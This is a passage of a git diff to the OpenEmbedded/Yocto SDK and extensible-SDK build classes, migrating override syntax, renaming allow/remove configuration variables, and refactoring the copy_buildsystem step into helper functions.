+POPULATE_SDK_POST_TARGET_COMMAND:append:task-populate-sdk = " write_target_sdk_manifest sdk_prune_dirs"
+POPULATE_SDK_POST_HOST_COMMAND:append:task-populate-sdk = " write_host_sdk_manifest"
+
+SDK_PACKAGING_COMMAND = "${@'${SDK_PACKAGING_FUNC}' if '${SDK_PACKAGING_FUNC}' else ''}"
+SDK_POSTPROCESS_COMMAND = "create_sdk_files check_sdk_sysroots archive_sdk ${SDK_PACKAGING_COMMAND}"
def populate_sdk_common(d):
from oe.sdk import populate_sdk
from oe.manifest import create_manifest, Manifest
+ import oe.packagedata
# Handle package exclusions
excl_pkgs = (d.getVar("PACKAGE_EXCLUDE") or "").split()
@@ -150,13 +185,13 @@ def populate_sdk_common(d):
d.setVar("PACKAGE_INSTALL_ATTEMPTONLY", ' '.join(inst_attempt_pkgs))
pn = d.getVar('PN')
- runtime_mapping_rename("TOOLCHAIN_TARGET_TASK", pn, d)
- runtime_mapping_rename("TOOLCHAIN_TARGET_TASK_ATTEMPTONLY", pn, d)
+ oe.packagedata.runtime_mapping_rename("TOOLCHAIN_TARGET_TASK", pn, d)
+ oe.packagedata.runtime_mapping_rename("TOOLCHAIN_TARGET_TASK_ATTEMPTONLY", pn, d)
ld = bb.data.createCopy(d)
ld.setVar("PKGDATA_DIR", "${STAGING_DIR}/${SDK_ARCH}-${SDKPKGSUFFIX}${SDK_VENDOR}-${SDK_OS}/pkgdata")
- runtime_mapping_rename("TOOLCHAIN_HOST_TASK", pn, ld)
- runtime_mapping_rename("TOOLCHAIN_HOST_TASK_ATTEMPTONLY", pn, ld)
+ oe.packagedata.runtime_mapping_rename("TOOLCHAIN_HOST_TASK", pn, ld)
+ oe.packagedata.runtime_mapping_rename("TOOLCHAIN_HOST_TASK_ATTEMPTONLY", pn, ld)
d.setVar("TOOLCHAIN_HOST_TASK", ld.getVar("TOOLCHAIN_HOST_TASK"))
d.setVar("TOOLCHAIN_HOST_TASK_ATTEMPTONLY", ld.getVar("TOOLCHAIN_HOST_TASK_ATTEMPTONLY"))
@@ -172,11 +207,17 @@ fakeroot python do_populate_sdk() {
populate_sdk_common(d)
}
SSTATETASKS += "do_populate_sdk"
-SSTATE_SKIP_CREATION_task-populate-sdk = '1'
-do_populate_sdk[cleandirs] = "${SDKDEPLOYDIR}"
+SSTATE_SKIP_CREATION:task-populate-sdk = '1'
+do_populate_sdk[cleandirs] += "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-inputdirs] = "${SDKDEPLOYDIR}"
do_populate_sdk[sstate-outputdirs] = "${SDK_DEPLOY}"
do_populate_sdk[stamp-extra-info] = "${MACHINE_ARCH}${SDKMACHINE}"
+python do_populate_sdk_setscene () {
+ sstate_setscene(d)
+}
+addtask do_populate_sdk_setscene
+
+PSEUDO_IGNORE_PATHS .= ",${SDKDEPLOYDIR},${WORKDIR}/oe-sdk-repo,${WORKDIR}/sstate-build-populate_sdk"
fakeroot create_sdk_files() {
cp ${COREBASE}/scripts/relocate_sdk.py ${SDK_OUTPUT}/${SDKPATH}/
@@ -244,7 +285,7 @@ python check_sdk_sysroots() {
dir_walk(SCAN_ROOT)
}
-SDKTAROPTS = "--owner=root --group=root"
+SDKTAROPTS = "--owner=root --group=root --clamp-mtime --mtime=@${SOURCE_DATE_EPOCH}"
fakeroot archive_sdk() {
# Package it up
@@ -261,7 +302,7 @@ fakeroot create_shar() {
rm -f ${T}/pre_install_command ${T}/post_install_command
- if [ ${SDK_RELOCATE_AFTER_INSTALL} -eq 1 ] ; then
+ if [ "${SDK_RELOCATE_AFTER_INSTALL}" = "1" ] ; then
cp ${TOOLCHAIN_SHAR_REL_TMPL} ${T}/post_install_command
fi
cat << "EOF" >> ${T}/pre_install_command
@@ -278,6 +319,7 @@ EOF
# substitute variables
sed -i -e 's#@SDK_ARCH@#${SDK_ARCH}#g' \
-e 's#@SDKPATH@#${SDKPATH}#g' \
+ -e 's#@SDKPATHINSTALL@#${SDKPATHINSTALL}#g' \
-e 's#@SDKEXTPATH@#${SDKEXTPATH}#g' \
-e 's#@OLDEST_KERNEL@#${SDK_OLDEST_KERNEL}#g' \
-e 's#@REAL_MULTIMACH_TARGET_SYS@#${REAL_MULTIMACH_TARGET_SYS}#g' \
@@ -327,6 +369,12 @@ def sdk_variables(d):
do_populate_sdk[vardeps] += "${@sdk_variables(d)}"
+python () {
+ variables = sdk_command_variables(d)
+ for var in variables:
+ d.setVarFlag(var, 'vardeps', d.getVar(var))
+}
+
do_populate_sdk[file-checksums] += "${TOOLCHAIN_SHAR_REL_TMPL}:True \
${TOOLCHAIN_SHAR_EXT_TMPL}:True"
diff --git a/meta/classes/populate_sdk_ext.bbclass b/meta/classes-recipe/populate_sdk_ext.bbclass
index 44d99cfb97..f5687e5899 100644
--- a/meta/classes/populate_sdk_ext.bbclass
+++ b/meta/classes-recipe/populate_sdk_ext.bbclass
@@ -1,20 +1,22 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Extensible SDK
inherit populate_sdk_base
-# NOTE: normally you cannot use task overrides for this kind of thing - this
-# only works because of get_sdk_ext_rdepends()
-
-TOOLCHAIN_HOST_TASK_task-populate-sdk-ext = " \
+# Used to override TOOLCHAIN_HOST_TASK in the eSDK case
+TOOLCHAIN_HOST_TASK_ESDK = " \
meta-environment-extsdk-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_task-populate-sdk-ext = ""
-
-SDK_RELOCATE_AFTER_INSTALL_task-populate-sdk-ext = "0"
+SDK_RELOCATE_AFTER_INSTALL:task-populate-sdk-ext = "0"
SDK_EXT = ""
-SDK_EXT_task-populate-sdk-ext = "-ext"
+SDK_EXT:task-populate-sdk-ext = "-ext"
# Options are full or minimal
SDK_EXT_TYPE ?= "full"
@@ -24,9 +26,10 @@ SDK_INCLUDE_NATIVESDK ?= "0"
SDK_INCLUDE_BUILDTOOLS ?= '1'
SDK_RECRDEP_TASKS ?= ""
+SDK_CUSTOM_TEMPLATECONF ?= "0"
-SDK_LOCAL_CONF_WHITELIST ?= ""
-SDK_LOCAL_CONF_BLACKLIST ?= "CONF_VERSION \
+ESDK_LOCALCONF_ALLOW ?= ""
+ESDK_LOCALCONF_REMOVE ?= "CONF_VERSION \
BB_NUMBER_THREADS \
BB_NUMBER_PARSE_THREADS \
PARALLEL_MAKE \
@@ -37,7 +40,7 @@ SDK_LOCAL_CONF_BLACKLIST ?= "CONF_VERSION \
TMPDIR \
BB_SERVER_TIMEOUT \
"
-SDK_INHERIT_BLACKLIST ?= "buildhistory icecc"
+ESDK_CLASS_INHERIT_DISABLE ?= "buildhistory icecc"
SDK_UPDATE_URL ?= ""
SDK_TARGETS ?= "${PN}"
@@ -77,10 +80,10 @@ COREBASE_FILES ?= " \
.templateconf \
"
-SDK_DIR_task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
-B_task-populate-sdk-ext = "${SDK_DIR}"
+SDK_DIR:task-populate-sdk-ext = "${WORKDIR}/sdk-ext"
+B:task-populate-sdk-ext = "${SDK_DIR}"
TOOLCHAINEXT_OUTPUTNAME ?= "${SDK_NAME}-toolchain-ext-${SDK_VERSION}"
-TOOLCHAIN_OUTPUTNAME_task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
+TOOLCHAIN_OUTPUTNAME:task-populate-sdk-ext = "${TOOLCHAINEXT_OUTPUTNAME}"
SDK_EXT_TARGET_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.target.manifest"
SDK_EXT_HOST_MANIFEST = "${SDK_DEPLOY}/${TOOLCHAINEXT_OUTPUTNAME}.host.manifest"
@@ -117,9 +120,9 @@ python write_host_sdk_ext_manifest () {
f.write("%s %s %s\n" % (info[1], info[2], info[3]))
}
-SDK_POSTPROCESS_COMMAND_append_task-populate-sdk-ext = "write_target_sdk_ext_manifest; write_host_sdk_ext_manifest; "
+SDK_POSTPROCESS_COMMAND:append:task-populate-sdk-ext = " write_target_sdk_ext_manifest write_host_sdk_ext_manifest"
-SDK_TITLE_task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
+SDK_TITLE:task-populate-sdk-ext = "${@d.getVar('DISTRO_NAME') or d.getVar('DISTRO')} Extensible SDK"
def clean_esdk_builddir(d, sdkbasepath):
"""Clean up traces of the fake build for create_filtered_tasklist()"""
@@ -146,15 +149,15 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
try:
with open(sdkbasepath + '/conf/local.conf', 'a') as f:
# Force the use of sstate from the build system
- f.write('\nSSTATE_DIR_forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
- f.write('SSTATE_MIRRORS_forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
+ f.write('\nSSTATE_DIR:forcevariable = "%s"\n' % d.getVar('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS:forcevariable = "file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n')
# Ensure TMPDIR is the default so that clean_esdk_builddir() can delete it
- f.write('TMPDIR_forcevariable = "${TOPDIR}/tmp"\n')
- f.write('TCLIBCAPPEND_forcevariable = ""\n')
+ f.write('TMPDIR:forcevariable = "${TOPDIR}/tmp"\n')
+ f.write('TCLIBCAPPEND:forcevariable = ""\n')
# Drop uninative if the build isn't using it (or else NATIVELSBSTRING will
# be different and we won't be able to find our native sstate)
if not bb.data.inherits_class('uninative', d):
- f.write('INHERIT_remove = "uninative"\n')
+ f.write('INHERIT:remove = "uninative"\n')
# Unfortunately the default SDKPATH (or even a custom value) may contain characters that bitbake
# will not allow in its COREBASE path, so we need to rename the directory temporarily
@@ -164,7 +167,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
shutil.rmtree(temp_sdkbasepath)
except FileNotFoundError:
pass
- os.rename(sdkbasepath, temp_sdkbasepath)
+ bb.utils.rename(sdkbasepath, temp_sdkbasepath)
cmdprefix = '. %s .; ' % conf_initpath
logfile = d.getVar('WORKDIR') + '/tasklist_bb_log.txt'
try:
@@ -174,7 +177,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
if 'attempted to execute unexpectedly and should have been setscened' in e.stdout:
msg += '\n----------\n\nNOTE: "attempted to execute unexpectedly and should have been setscened" errors indicate this may be caused by missing sstate artifacts that were likely produced in earlier builds, but have been subsequently deleted for some reason.\n'
bb.fatal(msg)
- os.rename(temp_sdkbasepath, sdkbasepath)
+ bb.utils.rename(temp_sdkbasepath, sdkbasepath)
# Clean out residue of running bitbake, which check_sstate_task_list()
# will effectively do
clean_esdk_builddir(d, sdkbasepath)
@@ -183,12 +186,7 @@ def create_filtered_tasklist(d, sdkbasepath, tasklistfile, conf_initpath):
if os.path.exists(localconf + '.bak'):
os.replace(localconf + '.bak', localconf)
-python copy_buildsystem () {
- import re
- import shutil
- import glob
- import oe.copy_buildsystem
-
+def copy_bitbake_and_layers(d, baseoutpath, derivative):
oe_init_env_script = d.getVar('OE_INIT_ENV_SCRIPT')
conf_bbpath = ''
@@ -197,10 +195,7 @@ python copy_buildsystem () {
# Copy in all metadata layers + bitbake (as repositories)
buildsystem = oe.copy_buildsystem.BuildSystem('extensible SDK', d)
- baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
- # Determine if we're building a derivative extensible SDK (from devtool build-sdk)
- derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
if derivative:
workspace_name = 'orig-workspace'
else:
@@ -214,20 +209,23 @@ python copy_buildsystem () {
if os.path.exists(os.path.join(baseoutpath, relpath)):
conf_initpath = relpath
- relpath = os.path.join('layers', path, 'scripts', 'devtool')
+ relpath = os.path.join('layers', path, 'scripts', 'esdk-tools', 'devtool')
if os.path.exists(os.path.join(baseoutpath, relpath)):
- scriptrelpath = os.path.dirname(relpath)
+ esdk_tools_path = os.path.dirname(relpath)
relpath = os.path.join('layers', path, 'meta')
if os.path.exists(os.path.join(baseoutpath, relpath, 'lib', 'oe')):
core_meta_subdir = relpath
d.setVar('oe_init_build_env_path', conf_initpath)
- d.setVar('scriptrelpath', scriptrelpath)
+ d.setVar('esdk_tools_path', esdk_tools_path)
+
+ return (conf_initpath, conf_bbpath, core_meta_subdir, sdkbblayers)
+def write_devtool_config(d, baseoutpath, conf_bbpath, conf_initpath, core_meta_subdir):
# Write out config file for devtool
import configparser
- config = configparser.SafeConfigParser()
+ config = configparser.ConfigParser()
config.add_section('General')
config.set('General', 'bitbake_subdir', conf_bbpath)
config.set('General', 'init_path', conf_initpath)
@@ -241,13 +239,17 @@ python copy_buildsystem () {
with open(os.path.join(baseoutpath, 'conf', 'devtool.conf'), 'w') as f:
config.write(f)
+def write_unlocked_sigs(d, baseoutpath):
unlockedsigs = os.path.join(baseoutpath, 'conf', 'unlocked-sigs.inc')
with open(unlockedsigs, 'w') as f:
pass
+def write_bblayers_conf(d, baseoutpath, sdkbblayers):
# Create a layer for new recipes / appends
bbpath = d.getVar('BBPATH')
- bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--create-only', os.path.join(baseoutpath, 'workspace')])
+ env = os.environ.copy()
+ env['PYTHONDONTWRITEBYTECODE'] = '1'
+ bb.process.run(['devtool', '--bbpath', bbpath, '--basepath', baseoutpath, 'create-workspace', '--layerseries', d.getVar("LAYERSERIES_CORENAMES"), '--create-only', os.path.join(baseoutpath, 'workspace')], env=env)
# Create bblayers.conf
bb.utils.mkdirhier(baseoutpath + '/conf')
@@ -271,6 +273,9 @@ python copy_buildsystem () {
f.write(' $' + '{SDKBASEMETAPATH}/workspace \\\n')
f.write(' "\n')
+def copy_uninative(d, baseoutpath):
+ import shutil
+
# Copy uninative tarball
# For now this is where uninative.bbclass expects the tarball
if bb.data.inherits_class('uninative', d):
@@ -280,8 +285,14 @@ python copy_buildsystem () {
bb.utils.mkdirhier(uninative_outdir)
shutil.copy(uninative_file, uninative_outdir)
- env_whitelist = (d.getVar('BB_ENV_EXTRAWHITE') or '').split()
- env_whitelist_values = {}
+ return uninative_checksum
+
+def write_local_conf(d, baseoutpath, derivative, core_meta_subdir, uninative_checksum):
+ #check if custome templateconf path is set
+ use_custom_templateconf = d.getVar('SDK_CUSTOM_TEMPLATECONF')
+
+ env_passthrough = (d.getVar('BB_ENV_PASSTHROUGH_ADDITIONS') or '').split()
+ env_passthrough_values = {}
# Create local.conf
builddir = d.getVar('TOPDIR')
@@ -292,15 +303,15 @@ python copy_buildsystem () {
if derivative:
shutil.copyfile(builddir + '/conf/local.conf', baseoutpath + '/conf/local.conf')
else:
- local_conf_whitelist = (d.getVar('SDK_LOCAL_CONF_WHITELIST') or '').split()
- local_conf_blacklist = (d.getVar('SDK_LOCAL_CONF_BLACKLIST') or '').split()
+ local_conf_allowed = (d.getVar('ESDK_LOCALCONF_ALLOW') or '').split()
+ local_conf_remove = (d.getVar('ESDK_LOCALCONF_REMOVE') or '').split()
def handle_var(varname, origvalue, op, newlines):
- if varname in local_conf_blacklist or (origvalue.strip().startswith('/') and not varname in local_conf_whitelist):
+ if varname in local_conf_remove or (origvalue.strip().startswith('/') and not varname in local_conf_allowed):
newlines.append('# Removed original setting of %s\n' % varname)
return None, op, 0, True
else:
- if varname in env_whitelist:
- env_whitelist_values[varname] = origvalue
+ if varname in env_passthrough:
+ env_passthrough_values[varname] = origvalue
return origvalue, op, 0, True
varlist = ['[^#=+ ]*']
oldlines = []
@@ -310,8 +321,9 @@ python copy_buildsystem () {
if os.path.exists(builddir + '/conf/auto.conf'):
with open(builddir + '/conf/auto.conf', 'r') as f:
oldlines += f.readlines()
- with open(builddir + '/conf/local.conf', 'r') as f:
- oldlines += f.readlines()
+ if os.path.exists(builddir + '/conf/local.conf'):
+ with open(builddir + '/conf/local.conf', 'r') as f:
+ oldlines += f.readlines()
(updated, newlines) = bb.utils.edit_metadata(oldlines, varlist, handle_var)
with open(baseoutpath + '/conf/local.conf', 'w') as f:
@@ -335,7 +347,7 @@ python copy_buildsystem () {
f.write('CONF_VERSION = "%s"\n\n' % d.getVar('CONF_VERSION', False))
# Some classes are not suitable for SDK, remove them from INHERIT
- f.write('INHERIT_remove = "%s"\n' % d.getVar('SDK_INHERIT_BLACKLIST', False))
+ f.write('INHERIT:remove = "%s"\n' % d.getVar('ESDK_CLASS_INHERIT_DISABLE', False))
# Bypass the default connectivity check if any
f.write('CONNECTIVITY_CHECK_URIS = ""\n\n')
@@ -351,20 +363,28 @@ python copy_buildsystem () {
f.write('SIGGEN_LOCKEDSIGS_TASKSIG_CHECK = "warn"\n\n')
# We want to be able to set this without a full reparse
- f.write('BB_HASHCONFIG_WHITELIST_append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
+ f.write('BB_HASHCONFIG_IGNORE_VARS:append = " SIGGEN_UNLOCKED_RECIPES"\n\n')
- # Set up whitelist for run on install
- f.write('BB_SETSCENE_ENFORCE_WHITELIST = "%:* *:do_shared_workdir *:do_rm_work wic-tools:* *:do_addto_recipe_sysroot"\n\n')
+ # Set up which tasks are ignored for run on install
+ f.write('BB_SETSCENE_ENFORCE_IGNORE_TASKS = "%:* *:do_shared_workdir *:do_rm_work wic-tools:* *:do_addto_recipe_sysroot"\n\n')
# Hide the config information from bitbake output (since it's fixed within the SDK)
f.write('BUILDCFG_HEADER = ""\n\n')
+ # Write METADATA_REVISION
+ # Needs distro override so it can override the value set in the bbclass code (later than local.conf)
+ f.write('METADATA_REVISION:%s = "%s"\n\n' % (d.getVar('DISTRO'), d.getVar('METADATA_REVISION')))
+
f.write('# Provide a flag to indicate we are in the EXT_SDK Context\n')
f.write('WITHIN_EXT_SDK = "1"\n\n')
# Map gcc-dependent uninative sstate cache for installer usage
f.write('SSTATE_MIRRORS += " file://universal/(.*) file://universal-4.9/\\1 file://universal-4.9/(.*) file://universal-4.8/\\1"\n\n')
+ if d.getVar("PRSERV_HOST"):
+ # Override this, we now include PR data, so it should only point ot the local database
+ f.write('PRSERV_HOST = "localhost:0"\n\n')
+
# Allow additional config through sdk-extra.conf
fn = bb.cookerdata.findConfigFile('sdk-extra.conf', d)
if fn:
@@ -383,23 +403,52 @@ python copy_buildsystem () {
f.write('require conf/locked-sigs.inc\n')
f.write('require conf/unlocked-sigs.inc\n')
- if os.path.exists(builddir + '/cache/bb_unihashes.dat'):
- bb.parse.siggen.save_unitaskhashes()
- bb.utils.mkdirhier(os.path.join(baseoutpath, 'cache'))
- shutil.copyfile(builddir + '/cache/bb_unihashes.dat', baseoutpath + '/cache/bb_unihashes.dat')
+ # Copy multiple configurations if they exist in the users config directory
+ if d.getVar('BBMULTICONFIG') is not None:
+ bb.utils.mkdirhier(os.path.join(baseoutpath, 'conf', 'multiconfig'))
+ for mc in d.getVar('BBMULTICONFIG').split():
+ dest_stub = "/conf/multiconfig/%s.conf" % (mc,)
+ if os.path.exists(builddir + dest_stub):
+ shutil.copyfile(builddir + dest_stub, baseoutpath + dest_stub)
+
+ cachedir = os.path.join(baseoutpath, 'cache')
+ bb.utils.mkdirhier(cachedir)
+ bb.parse.siggen.copy_unitaskhashes(cachedir)
+
+ # If PR Service is in use, we need to export this as well
+ bb.note('Do we have a pr database?')
+ if d.getVar("PRSERV_HOST"):
+ bb.note('Writing PR database...')
+ # Based on the code in classes/prexport.bbclass
+ import oe.prservice
+ #dump meta info of tables
+ localdata = d.createCopy()
+ localdata.setVar('PRSERV_DUMPOPT_COL', "1")
+ localdata.setVar('PRSERV_DUMPDIR', os.path.join(baseoutpath, 'conf'))
+ localdata.setVar('PRSERV_DUMPFILE', '${PRSERV_DUMPDIR}/prserv.inc')
+
+ bb.note('PR Database write to %s' % (localdata.getVar('PRSERV_DUMPFILE')))
+
+ retval = oe.prservice.prserv_dump_db(localdata)
+ if not retval:
+ bb.error("prexport_handler: export failed!")
+ return
+ (metainfo, datainfo) = retval
+ oe.prservice.prserv_export_tofile(localdata, metainfo, datainfo, True)
# Use templateconf.cfg file from builddir if exists
- if os.path.exists(builddir + '/conf/templateconf.cfg'):
+ if os.path.exists(builddir + '/conf/templateconf.cfg') and use_custom_templateconf == '1':
shutil.copyfile(builddir + '/conf/templateconf.cfg', baseoutpath + '/conf/templateconf.cfg')
else:
# Write a templateconf.cfg
with open(baseoutpath + '/conf/templateconf.cfg', 'w') as f:
- f.write('meta/conf\n')
+ f.write('meta/conf/templates/default\n')
+ os.makedirs(os.path.join(baseoutpath, core_meta_subdir, 'conf/templates/default'), exist_ok=True)
# Ensure any variables set from the external environment (by way of
- # BB_ENV_EXTRAWHITE) are set in the SDK's configuration
+ # BB_ENV_PASSTHROUGH_ADDITIONS) are set in the SDK's configuration
extralines = []
- for name, value in env_whitelist_values.items():
+ for name, value in env_passthrough_values.items():
actualvalue = d.getVar(name) or ''
if value != actualvalue:
extralines.append('%s = "%s"\n' % (name, actualvalue))
@@ -411,6 +460,9 @@ python copy_buildsystem () {
f.write(line)
f.write('\n')
+def prepare_locked_cache(d, baseoutpath, derivative, conf_initpath):
+ import shutil
+
# Filter the locked signatures file to just the sstate tasks we are interested in
excluded_targets = get_sdk_install_targets(d, images_only=True)
sigfile = d.getVar('WORKDIR') + '/locked-sigs.inc'
@@ -442,7 +494,7 @@ python copy_buildsystem () {
bb.utils.remove(sstate_out, True)
# uninative.bbclass sets NATIVELSBSTRING to 'universal%s' % oe.utils.host_gcc_version(d)
- fixedlsbstring = "universal%s" % oe.utils.host_gcc_version(d)
+ fixedlsbstring = "universal%s" % oe.utils.host_gcc_version(d) if bb.data.inherits_class('uninative', d) else ""
sdk_include_toolchain = (d.getVar('SDK_INCLUDE_TOOLCHAIN') == '1')
sdk_ext_type = d.getVar('SDK_EXT_TYPE')
@@ -453,10 +505,9 @@ python copy_buildsystem () {
else:
tasklistfn = None
- if os.path.exists(builddir + '/cache/bb_unihashes.dat'):
- bb.parse.siggen.save_unitaskhashes()
- bb.utils.mkdirhier(os.path.join(baseoutpath, 'cache'))
- shutil.copyfile(builddir + '/cache/bb_unihashes.dat', baseoutpath + '/cache/bb_unihashes.dat')
+ cachedir = os.path.join(baseoutpath, 'cache')
+ bb.utils.mkdirhier(cachedir)
+ bb.parse.siggen.copy_unitaskhashes(cachedir)
# Add packagedata if enabled
if d.getVar('SDK_INCLUDE_PKGDATA') == '1':
@@ -511,24 +562,62 @@ python copy_buildsystem () {
# We don't need sstate do_package files
for root, dirs, files in os.walk(sstate_out):
for name in files:
- if name.endswith("_package.tgz"):
+ if name.endswith("_package.tar.zst"):
f = os.path.join(root, name)
os.remove(f)
+def write_manifest(d, baseoutpath):
+ import glob
+
# Write manifest file
# Note: at the moment we cannot include the env setup script here to keep
# it updated, since it gets modified during SDK installation (see
# sdk_ext_postinst() below) thus the checksum we take here would always
# be different.
manifest_file_list = ['conf/*']
+ if d.getVar('BBMULTICONFIG') is not None:
+ manifest_file_list.append('conf/multiconfig/*')
+
+ esdk_manifest_excludes = (d.getVar('ESDK_MANIFEST_EXCLUDES') or '').split()
+ esdk_manifest_excludes_list = []
+ for exclude_item in esdk_manifest_excludes:
+ esdk_manifest_excludes_list += glob.glob(os.path.join(baseoutpath, exclude_item))
manifest_file = os.path.join(baseoutpath, 'conf', 'sdk-conf-manifest')
with open(manifest_file, 'w') as f:
for item in manifest_file_list:
for fn in glob.glob(os.path.join(baseoutpath, item)):
- if fn == manifest_file:
+ if fn == manifest_file or os.path.isdir(fn):
+ continue
+ if fn in esdk_manifest_excludes_list:
continue
chksum = bb.utils.sha256_file(fn)
f.write('%s\t%s\n' % (chksum, os.path.relpath(fn, baseoutpath)))
+
+
+python copy_buildsystem () {
+ import oe.copy_buildsystem
+
+ baseoutpath = d.getVar('SDK_OUTPUT') + '/' + d.getVar('SDKPATH')
+
+ # Determine if we're building a derivative extensible SDK (from devtool build-sdk)
+ derivative = (d.getVar('SDK_DERIVATIVE') or '') == '1'
+
+ conf_initpath, conf_bbpath, core_meta_subdir, sdkbblayers = copy_bitbake_and_layers(d, baseoutpath, derivative)
+
+ write_devtool_config(d, baseoutpath, conf_bbpath, conf_initpath, core_meta_subdir)
+
+ write_unlocked_sigs(d, baseoutpath)
+
+ write_bblayers_conf(d, baseoutpath, sdkbblayers)
+
+ uninative_checksum = copy_uninative(d, baseoutpath)
+
+ write_local_conf(d, baseoutpath, derivative, core_meta_subdir, uninative_checksum)
+
+ prepare_locked_cache(d, baseoutpath, derivative, conf_initpath)
+
+ write_manifest(d, baseoutpath)
+
}
def get_current_buildtools(d):
@@ -573,21 +662,6 @@ def get_sdk_required_utilities(buildtools_fn, d):
return ' '.join(sanity_required_utilities)
install_tools() {
- install -d ${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}
- scripts="devtool recipetool oe-find-native-sysroot runqemu* wic"
- for script in $scripts; do
- for scriptfn in `find ${SDK_OUTPUT}/${SDKPATH}/${scriptrelpath} -maxdepth 1 -executable -name "$script"`; do
- targetscriptfn="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/$(basename $scriptfn)"
- test -e ${targetscriptfn} || lnr ${scriptfn} ${targetscriptfn}
- done
- done
- # We can't use the same method as above because files in the sysroot won't exist at this point
- # (they get populated from sstate on installation)
- unfsd_path="${SDK_OUTPUT}/${SDKPATHNATIVE}${bindir_nativesdk}/unfsd"
- if [ "${SDK_INCLUDE_TOOLCHAIN}" = "1" -a ! -e $unfsd_path ] ; then
- binrelpath=${@os.path.relpath(d.getVar('STAGING_BINDIR_NATIVE'), d.getVar('TMPDIR'))}
- lnr ${SDK_OUTPUT}/${SDKPATH}/tmp/$binrelpath/unfsd $unfsd_path
- fi
touch ${SDK_OUTPUT}/${SDKPATH}/.devtoolbase
# find latest buildtools-tarball and install it
@@ -636,7 +710,7 @@ sdk_ext_preinst() {
EXTRA_TAR_OPTIONS="$EXTRA_TAR_OPTIONS --exclude=sstate-cache"
fi
}
-SDK_PRE_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_preinst}"
+SDK_PRE_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_preinst}"
# FIXME this preparation should be done as part of the SDK construction
sdk_ext_postinst() {
@@ -666,7 +740,7 @@ sdk_ext_postinst() {
# A bit of another hack, but we need this in the path only for devtool
# so put it at the end of $PATH.
- echo "export PATH=$target_sdk_dir/sysroots/${SDK_SYS}${bindir_nativesdk}:\$PATH" >> $env_setup_script
+ echo "export PATH=\"$target_sdk_dir/${esdk_tools_path}:\$PATH\"" >> $env_setup_script
echo "printf 'SDK environment now set up; additionally you may now run devtool to perform development tasks.\nRun devtool --help for further details.\n'" >> $env_setup_script
@@ -679,7 +753,7 @@ sdk_ext_postinst() {
# current working directory when first ran, nor will it set $1 when
# sourcing a script. That is why this has to look so ugly.
LOGFILE="$target_sdk_dir/preparing_build_system.log"
- sh -c ". buildtools/environment-setup* > $LOGFILE && cd $target_sdk_dir/`dirname ${oe_init_build_env_path}` && set $target_sdk_dir && . $target_sdk_dir/${oe_init_build_env_path} $target_sdk_dir >> $LOGFILE && python3 $target_sdk_dir/ext-sdk-prepare.py $LOGFILE '${SDK_INSTALL_TARGETS}'" || { echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
+ sh -c ". buildtools/environment-setup* > $LOGFILE 2>&1 && cd $target_sdk_dir/`dirname ${oe_init_build_env_path}` && set $target_sdk_dir && . $target_sdk_dir/${oe_init_build_env_path} $target_sdk_dir >> $LOGFILE 2>&1 && python3 $target_sdk_dir/ext-sdk-prepare.py $LOGFILE '${SDK_INSTALL_TARGETS}'" || { echo "printf 'ERROR: this SDK was not fully installed and needs reinstalling\n'" >> $env_setup_script ; exit 1 ; }
fi
if [ -e $target_sdk_dir/ext-sdk-prepare.py ]; then
rm $target_sdk_dir/ext-sdk-prepare.py
@@ -687,9 +761,9 @@ sdk_ext_postinst() {
echo done
}
-SDK_POST_INSTALL_COMMAND_task-populate-sdk-ext = "${sdk_ext_postinst}"
+SDK_POST_INSTALL_COMMAND:task-populate-sdk-ext = "${sdk_ext_postinst}"
-SDK_POSTPROCESS_COMMAND_prepend_task-populate-sdk-ext = "copy_buildsystem; install_tools; "
+SDK_POSTPROCESS_COMMAND:prepend:task-populate-sdk-ext = "copy_buildsystem install_tools "
SDK_INSTALL_TARGETS = ""
fakeroot python do_populate_sdk_ext() {
@@ -698,6 +772,15 @@ fakeroot python do_populate_sdk_ext() {
if d.getVar('SDK_ARCH') != d.getVar('BUILD_ARCH'):
bb.fatal('The extensible SDK can currently only be built for the same architecture as the machine being built on - SDK_ARCH is set to %s (likely via setting SDKMACHINE) which is different from the architecture of the build machine (%s). Unable to continue.' % (d.getVar('SDK_ARCH'), d.getVar('BUILD_ARCH')))
+ # FIXME hopefully we can remove this restriction at some point, but the eSDK
+ # can only be built for the primary (default) multiconfig
+ if d.getVar('BB_CURRENT_MC') != 'default':
+ bb.fatal('The extensible SDK can currently only be built for the default multiconfig. Currently trying to build for %s.' % d.getVar('BB_CURRENT_MC'))
+
+ # eSDK dependencies don't use the traditional variables and things don't work properly if they are set
+ d.setVar("TOOLCHAIN_HOST_TASK", "${TOOLCHAIN_HOST_TASK_ESDK}")
+ d.setVar("TOOLCHAIN_TARGET_TASK", "")
+
d.setVar('SDK_INSTALL_TARGETS', get_sdk_install_targets(d))
if d.getVar('SDK_INCLUDE_BUILDTOOLS') == '1':
buildtools_fn = get_current_buildtools(d)
@@ -743,12 +826,7 @@ do_sdk_depends[dirs] = "${WORKDIR}"
